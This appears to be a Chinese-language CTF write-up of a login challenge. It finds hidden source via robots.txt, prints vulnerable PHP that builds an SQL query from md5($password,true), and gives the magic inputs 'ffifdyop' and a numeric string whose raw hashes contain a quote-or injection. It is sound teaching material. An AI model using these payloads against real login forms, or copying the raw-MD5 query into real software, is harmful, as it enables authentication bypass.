登录界面,想到了sql注入,试一下万能密码,不行

`猜测可能有其他页面

法一:

直接后台目录扫描,发现index.phps源代码文件

法二:

robots.txt中查看被隐藏不允许访问的页面

User-agent: *
Disallow: /index.phps

index.phps代码

<?php
        $flag="";
		$password=$_POST['password'];
		if(strlen($password)>10){
			die("password error");
		}
		$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
		$result=mysqli_query($con,$sql);
			if(mysqli_num_rows($result)>0){
					while($row=mysqli_fetch_assoc($result)){
						 echo "登陆成功<br>";
						 echo $flag;
					 }
			}
    ?>

关键代码解释:

  1. PHP strlen() 函数:函数返回字符串 “Shanghai” 的长度;

  2. mysqli_query() 函数执行某个针对数据库的查询<查询成功将返回一个 mysqli_result 对象或 TRUE。如果失败,则返回 FALSE>

  3. md5() 函数计算字符串的 MD5 散列—–>

    md5(string,raw)

  4. 参数 描述
    string 必需。规定要计算的字符串。
    raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数
  5. PHP mysqli_num_rows():获取查询结果的行数

  6. mysqli_fetch_assoc() 函数从结果集中取得一行作为关联数组
    ==得出结论:==
    要得到flag需要向password传参,并且传参结果需要经过md5加密后通过sql语句验证,也就是可以理解为使用md5进行绕过

php md5()漏洞

 这里涉及到了一个PHP md5()漏洞
即:php中的md5函数有一个可选参数,如果开发者写查询数据库函数时使用了这个参数,或者在数据存储时是md5后的字符串形式存储,都有可能产生这个漏洞

语法

md5(string,raw)
参数 描述
string 必需。规定要计算的字符串。
raw 可选。规定十六进制或二进制输出格式:TRUE - 原始 16 字符二进制格式FALSE - 默认。32 字符十六进制数

md5看似是非常强加密措施,但是一旦没有返回我们常见的16进制数,返回了二进制原始输出格式,在浏览器编码的作用下就会编码成为奇怪的字符串(对于二进制一般都会编码)。

我们使用md5碰撞,一旦在这些奇怪的字符串中碰撞出了可以进行SQL注入的特殊字符串,那么就可以越过登录了

在经过长时间的碰撞后,比较常用的是以下两种:
数字型:129581926211651571912466741651878684928
字符型:ffifdyop

可以使用以下代码验证:

<?php
    $a='ffifdyop';
    $b='129581926211651571912466741651878684928';
    $bb=md5($a,TRUE);
    echo $bb;
    echo "\n";
    $cc=md5($b,true);
    echo $cc
    ?>

结果为:

'or'6]��!r,��b
�T0D��o#��'or'8

可以看到,它们都有==‘or’==结构
就可以构造出**必真**的结果。

最终结果:

strlen($password)>10要求字符串长度小于10,因此选择ffifdyop

使用bp进行抓包改包,向password传参

得到flag

总结ctf中 MD5 绕过的一些思路 总结ctf中 MD5 绕过的一些思路_yจุ๊บng的博客-CSDN博客_ctf md5绕过](https://blog.csdn.net/CSDNiamcoming/article/details/108837347))